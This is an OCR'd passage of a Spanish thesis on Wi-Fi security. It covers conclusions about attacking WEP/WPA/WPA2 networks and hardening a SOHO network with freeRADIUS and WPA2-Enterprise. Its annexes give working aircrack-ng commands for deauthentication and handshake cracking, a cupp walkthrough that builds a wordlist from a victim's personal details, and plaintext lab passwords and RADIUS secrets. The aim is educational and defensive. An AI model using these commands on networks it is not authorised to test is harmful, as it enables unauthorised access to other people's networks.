Para valorar la seguridad en la WLAN, se realizd una revision de seguridad antes de la
implementacion de hardening y después de dicha implementacion, con el fin de determinar qué
tan segura es la WLAN en ambos escenarios. Para notar las diferencias de dicha revision, se
tabularon los resultados obtenidos de las tres WLAN en las que se implemento hardening, donde
se realizo una comparativa con los tres AP que se utilizaron siguiendo el siguiente formato que
se muestra en la tabla 3.0. De acuerdo con la informacion de la tabla puede notarse que la
implementacion de hardening variara de acuerdo con las caracteristicas del AP en uso, como en

el caso de la configuracion remota y la potencia.

Linksys Arcadyan Alcatel Linksys Arcadyan Alcatel
Si Si Si No No No
Contrasefia para la Por default Por default Por default Cambiada Cambiada Cambiada
gestion del AP
No No aplica Si No aplica
Protocolo de WPA/WPA2 PSK WPA/PSK WPA2/PSK | WPA/WPA | WPA/WPA2 | WPA/WPA2
autenticacion 2 enterprise enterprise enterprise
802.1x 802.1x 802.1x
Minimizacién de Méxima Alta Alta No aplica Baja (cubre | Baja (cubre
potencia el area el area
deseada) deseada)
No No No Si Si Si
Contrasefias seguras Por default No No Si Si Si
Actualizado Actualizado | Actualizado | Actualizado | Actualizado | Actualizado
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Tabla 3.0. Revision de la seguridad con y sin hardening.




Asi mismo, se realizo una revision mas con las herramientas de la Suite AIR, la cual consiste en
un ataque a la red con la herramienta airodump, dicho ataque revelara los elementos necesarios
para que un ataque tenga éxito sin demandar mucho tiempo y que sea sencillo de realizar. Estos
elementos se indican en la figura 3.32, en base a esta revision se verifico si existe una diferencia
en una WLAN con hardening y sin hardening.
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Por otro lado, para comprobar el funcionamiento del servidor de autenticacion éste se puso a

prueba durante dos meses, tiempo en el cual ha estado en funcionamiento sin ser interrumpido.

En la figura 3.33 se muestra el momento en el que el servidor de autenticacién inicio a trabajar

con cero procesos, Y en la figura 3.34 se muestran 3,331 procesos, siendo éstos los que se han

registrado durante dos meses consecutivos de trabajo.

fila
(0)
()]
(0)
(0)
()
(0)
(0)
(0)
(0)
(0)
(0)
(0)
(0)

()
(0)

(0)
(0)
(0)
()]
(0)
(0)
(0

Wak
(0)

Edit View Terminal Tabs Help
Auth-Type PAP {
pap: Login attempt with password
pap: Comparing with "known good" Cleartext-Password
pap: User authenticated successfully
[pap] = ok
} # Auth-Type PAP = ok
# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default
post-auth {
update {
No attributes updated
} # update = noop
[exec] = noop
policy remove_reply message if eap {
if (&reply:EAP-Message && &reply:Reply-Message) {
if (&reply:EAP-Message && &reply:Reply-Message) -> FALSE
else {
[noop] = noop
} # else = noop
} # policy remove_reply message_if_eap = noop
} # post-auth = noop
Sent Access-Accept Id 100 from 127.6.0.1:1812 to 127.6.0.1:37485 length 0
Finished request
ng up in 4.9 seconds.
Cleaning up request packet ID 100 with timestamp +185

Keady to process requests

Figura 3.33. Procesos registrados en el servidor de autenticacion freeRADIUS al iniciarlo (diagrama propio).

0

3331) || MS-MPPE-Recv-Key = 0x0aell63267645cd4b9eabfaf10bc36d1b2blalb9badbfadfaaeed
Iffoaf6-6T6
3331) || MS-MPPE-Send-Key = Oxa8e763add8fe35d5e6d3ffb793d97a91f598db24de2c473a3212
1874475ab84

333
3331) || Message-Authenticator = 0x00000000000000000000000000000000
333
3331) [Finished request

3331) } # update = noop -
3331) [exec] = noop

3331) policy remove reply message if eap {

3331) if (&reply:EAP-Message && &reply:Reply-Message) {

3331) if (&reply:EAP-Message && &reply:Reply-Message) -> FALSE

3331) else {

3331) [noop] = noop

3331) } # else = noop

3331) } # policy remove_reply message if eap = noop

3331) | } # post-auth = noop

3331) [bent Access-Accept Id 1 from 192.168.1.71:1812 to 192.168.1.254:58622 length

dit View Terminal Tabs Help

1) || EAP-Message = 0x030a0004

1) | User-Name = "kratos"

jaking [Up in 4.9 seconds.

aaaa

m=Cleaning up request packet ID 1 with timestamp +3012816

Ready to process requests |

Figura 3.34. Procesos registrados del servidor de autenticacion durante dos meses de trabajo (diagrama propio).
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Conclusiones

a) Conclusiones de la identificacion de vulnerabilidades

Los protocolos de seguridad para una WLAN fueron evolucionando poco a poco para brindar
una mayor seguridad; sin embargo, WPA2 fue el Gltimo protocolo de seguridad que se disefid
para este tipo de redes en el 2004. Han pasado 14 afios confiando la seguridad en este protocolo
y como consecuencia, en septiembre del 2017 se ha roto completamente. A pesar de ello, la
problemaética se sigue resolviendo con parches de seguridad, pero a medida que avanza la
tecnologia esta se puede aprovechar para realizar ataques mejor disefiados a una WLAN. Por

dicho motivo es forzosa la creacion de un nuevo protocolo de seguridad.

Para poder concretar un ataque con las herramientas de la Suite AIR, primero que nada, debe
conocerse el funcionamiento adecuado de todas y cada una de las herramientas de la suite. Asi
mismo es necesaria la utilizacion de un diccionario, el cual debe ser construido de acuerdo con
lainformacién obtenida de la WLAN que se desea atacar para que exista una mayor probabilidad
de éxito, este debe construirse con base en ingenieria social, por lo que se debe pensar como
victima y atacante. Por otro lado, los diccionarios que se encuentran en la red resultan ser
completamente inutiles, debido a que estos son una base de datos de posibles contrasefias, lo
gue no garantiza que se encuentre en dicho diccionario la contrasefia de la WLAN que se esta

atacando.

Con los ataques que se realizaron a los protocolos de seguridad WEP, WPA y WPA2 de una

WLAN, se comprobdé que son vulnerables en la parte autenticadora.

Al realizar los 5 ataques a cada protocolo se comprobd que WEP es el mas vulnerable en
comparacion a los protocolos WPA y WPAZ2, ya que WEP fue vulnerado en menor tiempo y
con menor esfuerzo, puesto que no fue necesaria la creacion de un diccionario de fuerza bruta,
tal que el tiempo de convergencia de WPA y WPAZ2 dependera del diccionario, el tiempo podria

ser muy corto o prolongado.
b) Conclusiones de la implementacion de hardening

Es posible implementar un servidor de autenticacion en un entorno SOHO a un bajo costo de

hardware si se cuenta con un AP que soporte una autenticacion enterprise.
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Se verifico que la autenticacion enterprise se puede migrar a un entorno SOHO con la utilizacién

de una tarjeta de desarrollo raspberry P13, como servidor de autenticacion.

Se comprobd que el protocolo WPA2 Enterprise es mucho mas seguro debido que se usan

credenciales de autenticacion para cada usuario.

Se le brind6 una mayor seguridad a la WLAN de entorno SOHO al implementar todos los puntos

de hardening a excepcion del enmallado.

Un punto de acceso falso estaré en espera de credenciales, debido a ello, si existen problemas
de autenticacion o de denegacion de servicios, es probable que el punto de acceso no sea

auténtico.

Por otro lado, no se pudieron realizar algunas actividades de hardening en los AP, debido a sus
caracteristicas, por ejemplo, en el caso del modelo linksys 38378 no se pudo realizar la
configuracion de la potencia, y en el caso de los AP que ofrecen los ISP como en el caso del AP
Arcadyan VRV9529AWAC?24 no se pudo llevar a cabo la desactivacion de configuracion

remota debido a las caracteristicas de dichos AP.

Asi mismo en algunos AP existe una delimitacién en el tamafio de las contrasefias, por
mencionar el AP Arcadyan VRV9529AWAC24 de Telmex el cual s6lo permitié ingresar un

nimero maximo de 12 caracteres para crear la contrasefia de acceso a la red.

A pesar de que se logro un mejor robustecimiento en la WLAN con la implementacion de
hardening, claramente puede notarse que una WLAN ya sea de entorno SOHO o empresarial,

nunca estard completamente protegida, debido a que la tecnologia avanza continuamente.
c) Conclusiones no técnicas

Desarrolle las habilidades para poder penetrar una red poco segura, pero por ética profesional
este conocimiento s6lo se podria aplicar en auditorias profesionales. Por otro lado, los usuarios
no deberian estar a la espera de que su red sea atacada, para empezar a tomar medidas de

seguridad.

Gracias a este trabajo aprendi a seguir una metodologia para llevar a cabo un proyecto en tiempo
y forma.
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Anexo A. Herramientas de la Suite AIR

En este anexo se describe el funcionamiento de las herramientas de la Suite AIR que fueron
utilizadas para atacar a los protocolos WEP, WPA y WPA2.

airmon-ng: herramienta que permite activar o desactivar la tarjeta en modo monitor, la tarjeta
se desactiva si se teclea el siguiente comando: airmon-ng stop wlan0Q. Para poner la tarjeta
inalambrica en modo monitor se teclea el siguiente comando: airmon-ng start wlan0. Se pueden

visualizar los parametros que se muestran en la figura Al.

:~# airmon-ng start wlan®@

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name
429 NetworkManager
550 wpa_ supplicant
Interface Driver Chipset
wlano rt280e0usb Ralink Technology, Corp. RT2870/RT30760
(mac860211 monitor mode vif enabled for [phy®]wlan® on [phy®]lwlan

(mac80211 station mode vif disabled for [phy®]wlan®)

Figura Al. Activacion de la tarjeta inalambrica en modo monito (diagrama propio).

Una vez ejecutado el comando anterior los procesos que aparecen en la pantalla deben ser
eliminados para que las siguientes acciones puedan ser ejecutadas. Esta accion se realiza con el

comando kill seguido de los nimeros de proceso PID, en este caso seria “kill 429 550,

airodump-ng: herramienta que permite interceptar y analizar el trafico inalambrico con ayuda
de la interfaz inalambrica en modo monitor. Para ejecutar dicha herramienta se teclea el
siguiente comando: airodump-ng nombre de la tarjeta. En la figura A2 se puede visualizar el

trafico capturado con airodump-ng.

J[ Elapsed: 30 s ][ 2017-068-19 00:45

PWR Beacons #Data, #/s

(8]
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ENC CIPHER AUTH ESSID
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-40 12
=53 12
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WPA2 CCMP PSK INFIN
. WPA2 CCMP PSK 2 R B e
. WPA2 CCMP PSK <leng
WPA2 CCMP PSK ARRIS
WPA2 CCMP PSK HOME - .
WPA2 CCMP PSK ARRIS.
WPA2 CCMP PSK ARRIS
WPA2 CCMP PSK INFIN.
. WPA2 CCMP PSK ALERG
WPA2 CCMP PSK ARRIS.
WPA2 CCMP PSK INFIN.

e

HHEOROORRRMRRRN

=55 14
73 14
-76 11
-76 i3
-76 18
—TFT 13
=FF
-78
-78

30:91: = S = -80

CO0OOOOOOOHOW
[oNoNoNoNoNoNoNoNoNoNoN o)

il

BSSID STATION

Frames Probe

bl
=
bl
2
o0 0
t
0

1C:8E: :63:73:B8 68:C4:4D:8F:D7:A9 =749
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=
112 Sierra Espi
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Figura A2. Captura de trdfico con airodump-ng (diagrama propio).
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En la figura A2, CH representa el canal de comunicacion, BSSID es la direccion MAC del AP,
PWR es la potencia o intensidad de la sefial'®, el termino Beacons se refiere al nimero de
paquetes de anuncio de red que ha enviado el AP, Data es el numero de paquetes de datos, #/s
es el numero de paquetes, MB hace referencia a la velocidad minima soportada por el AP, ENC
se refiere al algoritmo de cifrado que usa el AP puede ser OPN, WEP,WPA o WPA2; CIPHER
es el tipo de cifrado de datos el cual puede ser RC4, TKIP o CCMP; AUTH es el método de
autenticacion, por lo regular suele ser PSK; ESSID hace referencia al nombre de la red, Station

es la direccion MAC del cliente asociado al AP.

aireplay-ng es una herramienta que permite realizar diversos ataques a los AP y clientes

asociados a este mismo, como por ejemplo:

e Desautenticacion: este ataque permite desautenticar a uno o varios clientes de un AP.

e Autenticacion falsa: permite asociarse a un punto de acceso, siempre y cuando el punto
de acceso lo permita.

e Inyeccion de paquetes: este ataque permite capturar un paquete ARP y reinyectarlo
contra el AP generando de esta forma demasiado trafico.

En la figura A3 se puede apreciar el ataque de desautenticacion e inyeccion de paquetes
mediante el siguiente comando aireplay-ng -0 5 -a MAC del punto de acceso -h MAC falsa

nombre de la tarjeta.

16:31:39 Sending DeAuth to broadcast -- BSSID: [78:1D:BA:0D:08:FC]
:~# aireplay-ng -0 5 -a 78:1D:BA:0D:08:FC -h aa:aa:aa:aa:aa:aa wlan@

mon

The interface MAC (00:CO:CA:58:40:F9) doesn't match the specified MAC (-h).
ifconfig wlan@mon hw ether AA:AA:AA:AA:AA:AA

16:42:08 Waiting for beacon frame (BSSID: 78:1D:BA:0D:08:FC) on channel 11

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).
:42:09 Sending DeAuth to broadcast -- BSSID: [78:1D:BA:0D:08:FC]
:42:09 Sending DeAuth to broadcast BSSID: [78:1D:BA:0D:08:FC]
:42:10 Sending DeAuth to broadcast BSSID: [78:1D:BA:0D:08:FC]
:42:10 Sending DeAuth to broadcast BSSID: [78:1D:BA:0D:08:FC]
:42:11 Sending DeAuth to broadcast BSSID: [78:1D:BA:0D:08:FC]

Figura A3. Ataque de desautenticacion con la herramienta aireplay (diagrama propio).

10 | a interpretacion de la potencia varia de acuerdo con el modelo de la NIC ya que en algunos ésta sera mejor
mientras mas cerca al 0 se encuentre y en otros modelos mientras mas cerca al 100.
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Después de esta operacion el cliente volvera a autenticarse con el AP, obteniéndose de esta

forma el handshake como se muestra en la figura A4.

Aircrack-ng: herramienta que permite obtener la clave del archivo CAP, como se muestra en la
figura A4. La clave de acceso a la WLAN se obtiene mediante la siguiente herramienta:
aircrack-ng -w/usr/share/wordlists/rockyou.txt datos.01.cap.
root@kali: ~ @ ® O
File Edit View Search Terminal Help

Aircrack-ng 1.2 rc4

[00:00:13] 3513/3512 keys tested (253.29 k/s)

Time left: © seconds 100.03%

KEY FOUND! [ L1ly22&DO1! ]
Master Key

Transient Key

EAPOL HMAC
~# D

Figura A4. Obtencion de la contrasefia del archivo CAP (diagrama propio).

Donde rockyou.txt es el diccionario para fuerza bruta que se esté utilizando, el cual puede ser
construido con la herramienta cupp (Common User Passwords Profile) como se explica a

continuacion.
Creacion de diccionario con la herramienta cupp

El primer paso es descargar la herramienta con el comando git clone como se muestra en la
figura A5.

Archivo Editar Ver Buscar Terminal Ayuda

:~# git clone https://github.com/Mebus/cupp.git
Cloning into 'cupp'...

remote: Counting objects: 65, done.
remote: Total 65 (delta @), reused 0 (delta @), pack-reused 65
Unpacking objects: 100% (65/65), done.

Figura A5. Descarga de la herramienta cupp (diagrama propio).
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Posteriormente se procede a configurar la herramienta cupp con una serie de datos como por
ejemplo: nombres, fechas de nacimiento, apellidos, apodos, nombres de mascotas, entre otros.
Dichos datos son utilizados para realizar una combinacion de palabras con las cuales se genera
finalmente un diccionario como se observa en la figura A6 que muestra el proceso con el que se

obtuvo un diccionario de 35602 palabras.

[ Terminal =

s . 0
root@DANIEL: ~/cupp Q ® O
Archivo Editar Ver Buscar Terminal Ayuda
:~/cupp# ./cupp.py -1i

[+] Insert the informations about the wictim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

~ First Name: Lily

> Surname: serrafoglu

- Nickname: wera

> Birthdate (DDMMYYYY): 25051985

> Partners) name: sofia
- Partners) nickname: abraham
> Partners) birthdate (DDMMYYYY): 12111966

> Child's name: lola
- Child's nickname: atenea
» Child's birthdate (DDMMYYYY): 0603210

-1 You must enter 8 digits for birthday!
> Child's birthdate (DDMMYYYY): 06032010

- Pet's name: baguira
- Company name: demogorgon

> Do you want to add some key words about the victim? Y/[N]: n

- Do you want to add special chars at the end of words? Y/[N]: vy

= Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: vy

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...

[+] Saving dictionary to , counting

[+] Now load your pistolero with and shoot! Good luck!

Figura A6. Creacion de un diccionario con la herramienta cupp (diagrama propio).

En la figura A7 se muestra una parte del diccionario que se generé a partir de los datos que se
proporcionaron. Puede apreciarse que existe tanto una combinacion de letras y numeros como

de caracteres especiales.
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Figura A7. Fragmento del diccionario de contrasefias creado con la herramienta cupp (diagrama propio).
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Anexo B. Creacion de la maquina virtual con Kali Linux

En este anexo se describe detalladamente la creacidén de una maquina virtual con la distribucion
Kali Linux, que fue utilizada para realizar los ataques tanto al escenario de pruebas como a las
WLAN encontradas en el medio inalambrico.

1. Para crear una maquina virtual se debe descargar el OVA (Open Virtualization
Appliance) de Kali Linux que es un formato para que la maquina virtual genere los
requerimientos del sistema operativo. Posteriormente debe descargarse el OVA para
Virtual Box desde la pagina de Kali Linux. En la figura B1 se muestra este OVA, en este

caso se descargo la version 2017.1.

Kali Linux 64 bit Ybox Available on the Offensive Security Download Page

Figura B1. OVA Kali Linux (diagrama propio).

2. EnVirtual Box en lugar de crear una nueva maquina se tiene que ir al apartado de archivo

y seleccionar importar servicio virtualizado como se muestra en la figura B2.

8 Oracle WM YirtualBox Administrador
Archiva  Maquing  Syuda

Preferencias... Ctrl+G
80 Irportar servicio virtualizada.., Ctrl+]
(" Exportar servicio wirtualizado... Ctrl+E
Administradar de medios wirtuales.., Ctrl+D
B Administradar de operaciones de red..,
= Cormprobar actualizaciones..,
/% Reiniciar todas las advertencias
S salir Ctrl+0

Figura B2. Importacion del servicio virtualizado (diagrama propio).

3. El siguiente paso es importar el OVA a Virtual Box, debe seleccionarse el archivo de

servicio donde se encuentra la descarga de éste como se muestra en la figura B3.
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N# Seleccione un archivo de servicio virtualizado a importar X

« ~ 4 Bl » Esteequipo » Escritorio v | @ Buscar en Escritorio p-]
Organizar ~ Nueva carpeta = ~ T o
A

v gk &cceso rapido
I Escritorio

{ Descargas
|| Dacumentos

i Kali-Linux-2017.1 Seleccione
=] Imagenes -vbox-armnded el archivo
del que
‘@ OneDrive desea
obtener la
v [ Este equipo vista previa,
; Descargas
= Dacumentos
[ Escritorio
| Imagenes ~
Mombre: v‘ Open Yirtualization Format (%o ~

Figura B3. Importacion del archivo (diagrama propio).

4. Después se muestran las descripciones generales de la maquina virtual como lo es el

CPU y memoria RAM. En la figura B4 pueden apreciarse mejor estas caracteristicas.

Descripeion Configuracién -
Sistema virtual 1

€3 Nombre Kali-Linux-2016.2-vbos-amd6d

@ Producto Kali Linux

& URL del producto https:/fum.kali.org/

@ Vendedor Offensive Security

@ URL del vendedor hittpsi/ . offensive-security.com/

@ Versién Rolling (2016.2) x64

@ Descripeion Kali Rolling (2016.2) x6..

B Tipo de 50 invitado [fd Debian (64-bity

3 cru 2

& ram 2048 ME

[OX:0]

¥ Controlador USE

{8 Tarjeta de sonido ICH ACET7

P Adaptador de red Intel PRO/1000 MT Desktop (82540EM)

&> Controlador de almacenamienta (DE)  PIDE

< Controlador de almacenamiento (DE)  PID
v @ Controlador de almacenamiento (S&T8) AHCI

Imnagen de disca virtual C\UsersiCordova\WirtualBox Vs Kali-Linux- 2016.2-vb dBKali-Linue-2016.2-ub 460-disk.. v
[ Relnicializar Ia direccién MAC de todas las tarietas de red
Servicio virtuslizade o frmada
Restaurar valores predeterminados Cancelar

Figura B4. Caracteristicas de la VM Kali Linux (diagrama propio).

5. EIl siguiente paso consta en seleccionar la opcién importar, para importar las
caracteristicas necesarias para configurar la maquina virtual. En la pantalla se vera algo

similar a lo que se muestra en la figura B5.



W Importando servicio virtualizado .. Imparting appliance 'ChUsers\CordovatDesktopt..,

Imparting wirtual disk image 'Kali-Linux-2017, 1-vhox-amdad-disk00z, wmdk! ... (2130

I 2% X

Tiempo restante: 22 minutos

Figura B5. Configuracion de la mdquina virtual (diagrama propio).

6. Una vez que se inicie Virtual Box, en la ventana principal aparecera la instalacion del
sistema operativo Kali Linux como se muestra en la figura B6.

@ Oracle VW VirualBax Administradar - 8 x

) Dotates | (@ irctaionss

) General 8] previsuslizaciin
Hamire e R —
Sstema comativor Detaen (64-42)

Kali-Linux-2017.1-
vbox-amd64
1-5{AME-, Pagiaciin andads, Faravrtusizacn KVM

o [Unidad dotica] Vaco

KaliLinas<2017.1-vboa-amckid-dh 002 vmah (Normal, 40.00 &)

Cortrelader de arfiridn:  Wirdows DrectSeund
Cortrlader: LM ACS7

& ned

& use

Controbor Lz; 3
Fitros de disposkivos:  3(2 activo)
[ Ccarpetas compartidas
Heurs

@ Duscripciin

Vi Roling (2017.1) 164
0170484

Figura B6. Ventana principal de Virtual Box (diagrama propio).
7.- Bibliotecas agregadas en Kali Linux

En esta sesion se indican las bibliotecas necesarias que requiere Kali Linux para su
funcionamiento dptimo, estas bibliotecas se encuentran en la pagina oficial de Kali Linux. Las
siguientes lineas deben agregarse en el archivo sources.list de Kali Linux.

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://o0ld.kali.org/kali sana main non-free contrib

deb http://o0ld.kali.org/kali moto main non-free contrib
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Anexo C. Instalacion del servidor de autenticacion freeRADIUS

En este anexo se indica la instalacion del servidor de autenticacion freeRADIUS paso a paso.
En la seccidon 2.2.1.2 del capitulo 2 se explica el por quée deben ser instaladas tanto las
dependencias duras como los paquetes de dicho servidor.

Instalacion de dependencias

Las dependencias duras se instalan mediante el siguiente comando para el buen funcionamiento

del servidor:

1.

root@kali:~# apt-getinstalllibssl-devlibtalloc-devlibkqueue-dev
(dependencias duras)

Instalacion del paquete dpkg-dev: este paquete instala las herramientas necesarias para
desempaquetar y crear paquetes en formato deb, asi mismo incluye las ordenes

autoconf y make, ademas de construir y cargar paquetes en formato debian.

root@kali:~# apt-get install dpkg-dev

. Instalacion de OpenSSL.: esta instalacion es necesaria para poder utilizar la autenticacion

EAP con el servidor, ya que OpenSSL incluye todas las bibliotecas y archivos de
cabecera, como libssl y libssl-dev y si no se tienen, muchos tipos de EAP no funcionan.

root@kali:~# apt-get install openss]

build-dep es utilizado para instalar todas las bibliotecas y dependencias del paquete

fuente de freeRADIUS, con el siguiente comando:
root@kali~# apt-get build-dep freeradius.

Posteriormente debe instalarse Fakeroot. Este comando permite construir paquetes en
formato deb como usuario sin privilegios que es la forma recomendada. Fakeroot puede
ejecutar diversos comandos con privilegios de root para la manipulacién de archivos

como lo es el comando dpkg-buildpackage.
root@kali:~# apt-get install fakeroot

El siguiente comando se ejecuta dentro de la carpeta de codigo fuente de FreeRADIUS.
Utiliza la informacion especificada dentro de la carpeta debian para compilar el codigo

fuente y posteriormente crear los distintos paquetes de FreeRADIUS. La opcién -b es
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7.

para compilar solo el binario y la funcion de la opcidon -uc es para omitir la firma de los

paquetes.
root@kali:~# fakerootdpkg-buildpackage -b -uc

Si el paquete ssl-cert no esta instalado causa problemas con los modulos de EAP al

iniciar sesion en freeRADIUS, por dicho motivo este paquete debe ser instalado.

root@kali:~# apt-get install ssl-cert

Instalacion del servidorfreeRADIUS

Toda la instalacion se realizé de la forma source code de acuerdo con los siguientes pasos:
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1.

Descargar freeRADIUS desde su sitio oficial. Para evitar posibles errores debe

descargarse la version a la cual actualmente se le esté dando soporte.

root@kali:~# wget ftp://ftp.freeradius.org/pub/freeradius/free
radius-server- 3.0.15.tar.gz

Se descomprime con el siguiente comando
root@kali:~# tar -xzvf freeradius-server-3.0.15 tar.gz

Se construye la fuente directamente, este paso es opcional ya que se utiliza en caso de
que se desee evitar la creacion de paquetes freeRADIUS, en caso de ser asi primero
deben instalarse las dependencias necesarias como se indicé anteriormente. La fuente se

construye con los siguientes comandos.
A.1 root@kali:~# ./configure
B.1 root@kali:~# make

C.1 root@kali:~#makeinstall

Nota: make install puede tardar varios minutos en instalar freeRADIUS.



Anexo D. Configuracion de hardening en dos modelos distintos de AP

En este anexo se describe la configuracion de todos los puntos posibles de hardening en los
AP Linksys 38378 y Alcatel 1-240W-A.

D.1 Configuracion del AP Linksys 38378

1.1 En el AP se deben ingresar los siguientes datos: direccion IP del servidor RADIUS, el puerto

de comunicacion de freeRADIUS (1812) y la clave secreta que comparten, esta es la que se

configurd en el servidor dentro del archivo clients.conf.

configuracién.

GNU nano 2.8.7

client linksys38378 {
ipaddr
secret
proto

Flle:

192.168.1.70

IR4t3s&Ha/Md@

require_message_authenticator

nas_type
shortname

= other

=Testhardening =

clients.

no

En la figura D1 se aprecia dicha

2,4 GHz Ajustes de Wi-Fi

» Nombre delared: = Testhardening

Clave IRi3s&Ha/Md@ |

compartida:

Modo de

WPA2 Enterprise | ]
seguridad:

Servidor RADIUS: |10 107 .56 . 113

Figura D1. Configuracion del cliente (diagrama propio).

1.2 Desactivacion del WPS

En la figura D2 se muestra la deshabilitacion del estandar WPS.

Inalambrica Filtradn de MAC

Wi-Fi Protected Setup™

'Wi-Fi Protected Setup

Programadar inaldmbrico

Mo es posible usar el Wi-Fi Protected Setup en combinacion con log modos de
seguridad inalambricos WEP oWPA, nitampoco con el Filtrado MAC, Para
utilizar elWi-Fi Protected Setup cambie el modo de seguridad inalambrica vio
deshabilita el Filtrada MAC.

Figura D2. Desactivacion del WPS (diagrama propio).
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1.3 Contrasefias robustas

En la figura D3 del lado izquierdo, se muestra la configuracion de los usuarios que podran
tener acceso a la red, puede notarse que la contrasefias tiene cierto grado de dificultad, en el
lado derecho se muestra la configuracion del AP que interact(a con el servidor.

2,4 GHz Ajustes de Wi-Fi

Nombre de lared Testhardening
kratos Cleartext-Password := "D4nl3Ls3rr@no*"
danny (;leartext-Password := "L1ly01l&d4n!s” Clave TP T !
magnolia Cleartext-Password := "m46A1*G0O3/" COIRoN tika: =
dranix Cleartext-Password := "*md4jgsm2218$" et WPA2 Enterprise ¥ | |
lily Cleartext-Password := "#mlL!1ly3st4%" -

Servidor RADIUS: |10 107 . 56 13

helio Cleartext-Password := "!ellOpGloOct"

Figura D3. Creacidn de contrasefias seguras (diagrama propio).
1.4 Desactivacion de la difusion SSID

En la figura D4 se muestra la desactivacion del SSID en el AP.

Inalamhbrica Fitrado de MAC Wi-F1 Hrotected Setup Hrogramadaor inalambrico

2,4 GHz Ajustes de Wi-Fi

Hombre de lared: | Testhardening 2,4 GHz Red: —‘
Clave I S . v . ati v
compartida: Ri3s&Ha/Md@ Difusidn de S5ID: | No Canal: Automatico

Modo de . - _ - = i - -
seguridad: WPAZ Enterprise Modo de red: Mixto Ancho de canal: | Automatico

Senidor RADIUS: | 192 |.|166 |.[1  |.|69 Puerto RADILUS: 1812
Figura D4. Desactivacion del SSID (diagrama propio).

1.5 Desactivacion de la configuracion remota

En los AP Linksys se tiene la opcion de desactivar la configuracion remota como se muestra en

la figura D5.
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Basica Parametros de Infermet Red local Enrutamignta avanzado VLAN Administracion
Accese a administracién local Acceso remoto

& [ HTTPS [] Permitit el acceso remoto a los parametros del routery las
hetramientas de Linksys SmartYWi-Fi

Mota: Si desactiva este pardrnetro, no podrd acceder 3 sured a
través de Internet

[] Acceso de forma inalambrica

UPnP [/ Activado Gateway de capa de aplicacién

[ Permitir gue los usuarios realicen 1a configuracian [ SIP
7] Permitir gue 105 usuarios desactiven el acceso a lntemet

Figura D5. Deshabilitacion al acceso remoto (diagrama propio).

1.6 Filtrado MAC

En el filtrado MAC solo 3 dispositivos se dieron de alta, estos son los que podrén acceder a la
WLAN. En la figura D6 se muestra el filtrado de las direcciones MAC.

Frogramador inalambrico

Lista de filtros de direcciones MAC

Direcciones MAC Accion

F4:22830E:2E18 Editar f Eliminar
oococAsa40FY Editar ! Eliminar
JBFFCATE S92 Editar ! Eliminar

Agregar direccion MAC

Figura D6. Filtrado MAC. (diagrama propio).

1.7 Gestion del AP

La contrasefia por default para los AP Linksys es admin y se ha cambiado por otra como puede
notarse en la imagen D7.

Contrasefia del router | Editar

Contrasefia del router: R

Pista de la contrasefia de router: Sin plsts de contrasefia

Figura D7. Cambio de contrasefia (diagrama propio).
1.8 Minimizacion de la potencia
La minimizacién de la potencia en el caso particular del AP Linksys no se pudo llevar a cabo.

1.9 Actualizacion del firmware
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Esta actualizacion es importante para que se actualicen los parches de seguridad en este caso la

actualizacion es automatica como se muestra en la figura D8.

Basica Parametros de Internet Red local

Nombre y centrasefia de lared | Editar

2,4 GHz nombre de red Testhardening
Contrasefia de red: IR4t3s &Hamd @
5 GHz nomkbre de red Linksys38378
Contrasefia de red: 9gtin1basf

Enrutamiento avanzado WLARN Administracion

Actualizacién de firmware del router

M Automatico MVersion actual: 1.1.10.1824673

Buscar actualizaciones

Figura D8. Actualizacion del firmware en el AP (diagrama propio).

D.2 Configuracion del AP ALCATEL I-240W -A de TELMEX

2.1 Adicion de la direccion IP del servidor RADIUS y el puerto de comunicacion de
freeRADIUS (1812) en el AP. En la figura D9 se aprecia dicha configuracion.

Mormbre 5510

Habilitar 5510

Anunciar 3510

Modo de Encriptacion
Wersion YWRA

Modo de Encriptacian WhPa,
Servidor RADIUS

Puerto RADIUS

Clave WhPA

PrughasRADIUS

Si v

MO v

WRAMNYPAZ Coorporativo ¥

WPAZ v
TKIP v
192 168.1.69
1812

L2833 @ MabIkK

Figura D9. Configuracion del cliente (diagrama propio).

2.2 Desactivacion del WPS del AP Alcatel 1-240W -A.

En la figura D10 se muestra la deshabilitacion del WPS en el AP.

Hahilitar WP3

hdodo WWPS

PEC v

Figura D10. Desactivacion del WPS (diagrama propio).

2.3 Desactivacion de la difusion SSID del AP Alcatel 1-240W -A

124



En la siguiente figura D11 se muestra la desactivacion del SSID del AP.

Terminal Optica

Red=WiFi

Mombre 5510
Hahbilitar 3510
Anunciar S50

Modo de Encriptacion

Wersian WA

Figura D11. Desactivacion del SSID de la red (diagrama propio).

ooooo

FrughasRADIUS

Si

NO

WRPANYPAZ Coorporativa 7

WRAZ

2.4 Filtrado MAC en el AP Alcatel 1-240W -A.

Se agregan las direcciones MAC de los 6 dispositivos que podran tener acceso a la WLAN con

autenticacion enterprise. En la figura D12 se muestra dicho filtrado.

Agregar
Modo de Filtro de MAC Permitir
Modo Direccion MAC Borrar
Permitir h8:88e3 hi1d:Eh Barrar
Permitir 00clca 584019 Borrar
Fermitir c0d9 62393501 Borrar
Fermitir Taffca¥a58:82 Barrar
Permitir 30:addhi43:34el Borrar
Permitir f4:28:63:0e:2e:19 Barrar

Figura D12. Filtrado MAC. (diagrama propio).

2.5 Gestién del AP

La contrasefia por default para los AP Alcatel 1-240W -A de TELMEX es la clave que se le

asigna al AP de fabrica y fue cambiada por otra como puede notarse en la imagen D13.
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Clave de Acceso Original  |esssesanas
Mueva Clave de Acceso |sssssssssssssssens
Confirmar Clave de ACCEST] 0 |eesssssssssssssees

Frase para Recordatorio

Figura D13. Cambio de contrasefia (diagrama propio).

2.6 Minimizacién de la potencia

Para el AP ALCATEL I-240W -A de TELMEX se selecciona la potencia mas baja en este

caso es el 25% como se muestra en la figura D14.

Terminal Optica

Red=WiFi
5 r
Modo Adtomatico(biging ¥
Canal Automatico ¥
Potencia de Transmision 25% v
Filtro WiFi por Direccion MAC o v

Figura D14. Minimizacion de la potencia (diagrama propio).

2.7 Actualizacion del firmware

En este caso la actualizacién del firmware debe realizarse manualmente como se muestra en la
figura D15.

Mantenimiento=Actualizacion Firmwiare
